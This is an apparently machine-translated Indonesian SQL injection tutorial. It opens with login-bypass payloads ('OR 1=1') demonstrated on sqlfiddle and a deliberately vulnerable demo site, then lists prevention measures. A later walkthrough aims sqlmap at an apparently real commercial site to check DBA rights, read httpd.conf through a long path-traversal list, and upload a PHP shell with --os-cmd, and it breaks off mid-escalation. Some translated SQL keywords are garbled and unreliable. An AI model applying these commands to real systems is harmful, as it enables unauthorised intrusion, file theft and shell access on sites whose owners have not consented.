  • Sesi ini disimpan dalam cookie. Fitur ini diaktifkan dengan mencentang flag Remember_me. Metode post digunakan untuk mengirim data. Artinya nilainya tidak ditampilkan di URL.

Misalkan permintaan untuk memeriksa ID pengguna di sisi server terlihat seperti ini:

  • Permintaan tersebut menggunakan nilai array $_POST secara langsung tanpa membersihkannya;
  • Kata sandi dienkripsi menggunakan algoritma MD5.

Kita akan melihat serangan menggunakan SQL injection sqlfiddle. Buka URL http://sqlfiddle.com/ di browser Anda. Jendela berikut akan muncul di layar.

Catatan: Anda perlu menulis pernyataan SQL:

Langkah 1: Masukkan kode ini di panel kiri:

BUAT TABEL `pengguna` (`id` INT BUKAN NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `kata sandi` VARCHAR(45) NULL, KUNCI UTAMA (`id`)); masukkan nilai pengguna (email, kata sandi) (" [dilindungi email]",md5("abc"));

Langkah 2: Klik tombol Bangun Skema».
Langkah 3: Masukkan kode di bawah ini di panel kanan:

pilih * dari pengguna;

Langkah 4: Klik " Jalankan SQL" Anda akan melihat hasil berikut:

Anggaplah pengguna memberikan alamat email [dilindungi email] dan 1234 sebagai kata sandi. Kueri yang perlu dijalankan pada database mungkin terlihat seperti ini:

Contoh kode injeksi SQL di atas dapat dilewati dengan mengomentari sebagian kata sandi dan menambahkan kondisi yang akan selalu benar. Mari kita asumsikan penyerang memasukkan data berikut ke dalam bidang alamat email:

[dilindungi email]" ATAU 1 = 1 BATAS 1 -- " ]

dan xxx di bidang kata sandi.

Pernyataan dinamis yang dihasilkan akan terlihat seperti ini:

  • [dilindungi email] diakhiri dengan tanda kutip tunggal, yang mengakhiri string;
  • OR 1 = 1 LIMIT 1 adalah kondisi yang akan selalu benar dan membatasi hasil yang dikembalikan hanya pada satu record.

0; ' DAN ... adalah komentar SQL yang mengecualikan bagian kata sandi.

Salin kueri di atas dan tempel ke kotak teks FiddleRun SQL seperti yang ditunjukkan di bawah ini:

Aktivitas peretas: injeksi SQL ke dalam aplikasi web

Kami memiliki aplikasi web sederhana yang tersedia di http://www.techpanda.org/ yang secara khusus dibuat rentan terhadap serangan injeksi SQL untuk pemula untuk tujuan demonstrasi. Kode formulir HTML yang diberikan di atas diambil dari halaman otorisasi aplikasi ini.

Ini memberikan keamanan dasar seperti sanitasi bidang email. Artinya kode di atas tidak dapat digunakan untuk melewati mekanisme ini.

Untuk melewati ini, Anda dapat menggunakan kolom kata sandi. Diagram di bawah menunjukkan langkah-langkah yang perlu Anda ikuti:

Anggaplah penyerang memberikan data berikut:

Langkah 1: Masuk [dilindungi email] sebagai alamat email;
Langkah 2: Masukkan xxx’) ATAU 1 = 1 - ] ;

Klik tombol “Kirim”.

Ini akan dikirim ke panel administrasi. Kueri yang dihasilkan akan terlihat seperti ini:

Diagram di bawah menunjukkan bagaimana permintaan dibuat:

Di Sini:

  • Permintaan tersebut mengasumsikan bahwa enkripsi md5 digunakan;
  • Kutipan tunggal penutup dan tanda kurung digunakan;
  • Suatu kondisi ditambahkan ke operator yang akan selalu benar.

Biasanya, penyerang mencoba menggunakan beberapa metode berbeda dalam serangan injeksi SQL untuk mencapai tujuannya.

Jenis serangan injeksi SQL lainnya

Suntikan SQL dapat menyebabkan lebih banyak kerusakan daripada masuk ke sistem dengan melewati mekanisme otorisasi. Beberapa dari serangan ini mungkin:

  • Lakukan penghapusan data;
  • Melakukan pembaruan data;
  • Tambahkan data;
  • Jalankan perintah di server yang akan mengunduh dan menginstal program jahat;
  • Ekspor data berharga seperti detail kartu kredit, email, dan kata sandi ke server jarak jauh penyerang.

Daftar di atas belum lengkap. Ini hanya memberikan gambaran tentang bahaya yang ditimbulkan oleh suntikan SQL.

Alat untuk mengotomatiskan injeksi SQL

Pada contoh di atas, kami menggunakan metode serangan manual. Sebelum melakukan injeksi SQL, Anda perlu memahami bahwa ada alat otomatis yang memungkinkan Anda melakukan serangan dengan lebih efisien dan cepat:

  • SQL Memukul ;
  • SQLPing 2 ;
  • SQLMap.

Bagaimana mencegah injeksi SQL

Berikut adalah beberapa aturan sederhana untuk melindungi terhadap serangan injeksi SQL:

Masukan pengguna tidak boleh dipercaya. Itu selalu perlu dibersihkan sebelum data digunakan dalam operasi SQL dinamis.

Prosedur tersimpan- Mereka dapat merangkum kueri SQL dan memproses semua data masukan sebagai parameter.

Kueri yang sudah disiapkan- Kueri dibuat terlebih dahulu, lalu semua data pengguna yang disediakan diproses sebagai parameter. Ini tidak mempengaruhi sintaksis pernyataan SQL.

Ekspresi Reguler- dapat digunakan untuk mendeteksi kode yang berpotensi berbahaya dan menghapusnya sebelum menjalankan pernyataan SQL.

Hak akses untuk terhubung ke database- ke melindungi terhadap injeksi SQL, akun yang digunakan untuk terhubung ke database hanya boleh diberikan hak akses yang diperlukan. Ini akan membantu membatasi tindakan yang dapat dilakukan oleh pernyataan SQL di server.

Pesan kesalahan- tidak boleh mengungkapkan informasi rahasia. Pesan kesalahan khusus sederhana seperti " Maaf, ada kesalahan teknis. Tim dukungan telah diberitahu tentang hal itu. Silakan coba lagi nanti" dapat digunakan sebagai pengganti menampilkan kueri SQL yang menyebabkan kesalahan.

Bocoran: .ZEN

Kami memiliki SQL Injection di situs yang terlihat seperti ini:

Hal pertama yang ingin kita lakukan adalah memeriksa apakah kita mempunyai hak istimewa untuk menulis file pada sumber daya yang diserang; untuk melakukan ini, muat terminal dan jalankan perintah berikut:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Kita tekan Enter dan analisa SQL Injection kita dimulai, laporannya seperti ini:

Seperti yang Anda lihat di laporan, versi Apache, versi MySQL, dan versi OS yang diinstal di server tertulis, semua ini akan berguna bagi kami di masa depan, tetapi yang terpenting, Anda dapat melihatnya kami memiliki hak untuk menulis file, ini ditampilkan di baris Pengguna Saat Ini adalah DBA: Benar

Langkah selanjutnya bagi kita adalah mendapatkan jalur untuk merekam shell kita. Kita bisa mendapatkan path ke situs kita di server dengan mendownload file httpd.conf. Kami mendapatkan informasi tentang lokasi file httpd.conf menggunakan Google, Anda dapat mencari berdasarkan versi OS yang diinstal atau berdasarkan daftar jalur yang paling mungkin. Secara umum, saya tidak akan menjelajahi mesin pencari secara mendalam, hanya ketika Anda telah menemukan lokasi yang paling mungkin dari jalur ke file tersebut, maka inilah saatnya untuk mengunduh file yang sama ini ke disk Anda, untuk melakukan ini, masukkan yang berikut ini perintah dan permintaan membaca file di server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Mari kita segera perhatikan bahwa tidak selalu mungkin untuk menemukan file konfigurasi ini pertama kali, sehingga Anda dapat menggunakan jalur yang paling mungkin di mana file ini berada:

DAFTAR KEMUNGKINAN JALAN KE FILE KONFIG:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ lokal/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/Apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/Apache/conf/httpd.conf ../../../../. ./opt/Apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Kami menerima laporan dari sqlmap dalam bentuk berikut:

Seperti yang Anda lihat, sqlmap memberi tahu kami bahwa file tersebut memiliki ukuran yang sama dengan file di server, oleh karena itu kami berhak membaca file ini. Jika tidak ada hak yang cukup untuk membaca file ini, maka akan muncul kesalahan bahwa file yang disimpan di mesin kami memiliki ukuran yang berbeda dari file di server, atau tidak ada file di server di jalur yang kami tentukan dan tidak pernah ada. pernah. Sqlmap menyimpan file kita di file laporan, dan untuk membacanya kita perlu meluncurkan window manager. Untuk meluncurkan window manager, kita membuka jendela terminal lain dan memasukkan perintah:

Selanjutnya pada manager yang terbuka, kita ikuti path dimana sqlmap menambahkan file, yaitu:
/root/.sqlmap/output/sacoor.com
Selanjutnya, arahkan kursor ke file tersebut, tekan tombol F3 pada keyboard dan baca file konfigurasi Apache:

Dari file konfigurasi kami, kami melihat bahwa situs kami terletak di server di jalur berikut:
/home/sbshop/situs/

Sekarang kita memiliki sedikit informasi, kita dapat mencoba mengisi shell, untuk melakukan ini kita memasukkan perintah berikut:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Setelah memasukkan perintah, sqlmap akan menanyakan jenis filler apa yang ingin kita gunakan, karena... dalam kasus kami, situsnya dalam PHP, lalu kami akan mengunggah PHP-loader, pilih item 4 dan tekan Enter. Selanjutnya, sqlmap akan meminta kita untuk memilih di mana kita akan mengunggah loader kita, dan karena... Kita sudah mengetahui jalur menuju situs kita di server, lalu pilih item 2, tekan Enter dan tunjukkan jalur menuju situs tersebut:
/home/sbshop/situs/

Dan setelah itu tekan Enter dan lihat laporan berikut:

Dalam hal ini, sqlmap memberitahu kita bahwa kita tidak memiliki hak menulis ke folder ini. Tidak masalah, masalah ini cukup mudah untuk diatasi. Kami memberikan perintah untuk meluncurkan uniscan dan memeriksa file dan folder untuk dapat ditulisi, berikut perintahnya.